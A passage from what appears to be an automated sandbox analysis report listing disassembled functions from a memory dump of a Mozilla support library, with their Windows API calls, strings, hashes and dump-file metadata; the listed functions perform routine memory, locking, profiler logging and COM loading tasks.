free.MOZGLUE(?), ref: 6C68D888

Strings

Wel, xrefs: 6C68D5D9, 6C68D63F
|Enabled, xrefs: 6C68D81E

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C669830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C6B7ABE), ref: 6C66985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C6B7ABE), ref: 6C6698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C669909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C669918
free.MOZGLUE(?), ref: 6C669975

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction ID: 46417bebb58991fded83a11875da7326b8476b137f449c53d9d74f74598d94e6
Opcode Fuzzy Hash: f19d462534e4bbb6d175180e6e170fe5ae577c7268c5f70edb45137fe5f94fa7
Instruction Fuzzy Hash: 317169746047058FC725CF2AC480956B7F1FF4A328B284AADEC5A8BF90D771B845CB96

Function 6C66B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE), ref: 6C66B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B896

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction ID: 660f9ae3e6eba31157b9b988089750c6d309a79bba48d77c940fe54830b8b717
Opcode Fuzzy Hash: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction Fuzzy Hash: B3516B35700600CFCB25CF5AC484A6ABBF5FF89318B69855DE98A87B51C731EC01DB89

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C662070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,6C661C5F), ref: 6C6620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6620CD
__Init_thread_footer.LIBCMT ref: 6C6620E1
FreeLibrary.KERNEL32 ref: 6C662124

Strings

combase.dll, xrefs: 6C6620A9
CoInitializeSecurity, xrefs: 6C6620C7

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction ID: f4ce16b3d5a78bfb26feb4f7e9c2fbc04e8641e78ab249c781a5bd2018ad1a11
Opcode Fuzzy Hash: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction Fuzzy Hash: 60218075200209EFDF11CF96DC88D9A3FB6FB5A355F008114FE0492A50D731A861DF6A

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C661FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C661FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C661FFD
__Init_thread_footer.LIBCMT ref: 6C662011
FreeLibrary.KERNEL32 ref: 6C662059

Strings

combase.dll, xrefs: 6C661FD9
CoCreateInstance, xrefs: 6C661FF7

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction ID: 2840f0e83cf32e1256705947131910d522cbb3e7114f0a2544195fc75f5e4389
Opcode Fuzzy Hash: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction Fuzzy Hash: 9A115E75201205AFDF10CF57C88CE963B79EB9A359F008029FD0592A40D731B861DFAE

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

combase.dll, xrefs: 6C660F18
CoInitializeEx, xrefs: 6C660F36

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C660E9B
kernel32.dll, xrefs: 6C660E7D

Memory Dump Source

Source File: 00000000.00000002.2430422470.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2430386789.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430577521.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2430603458.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

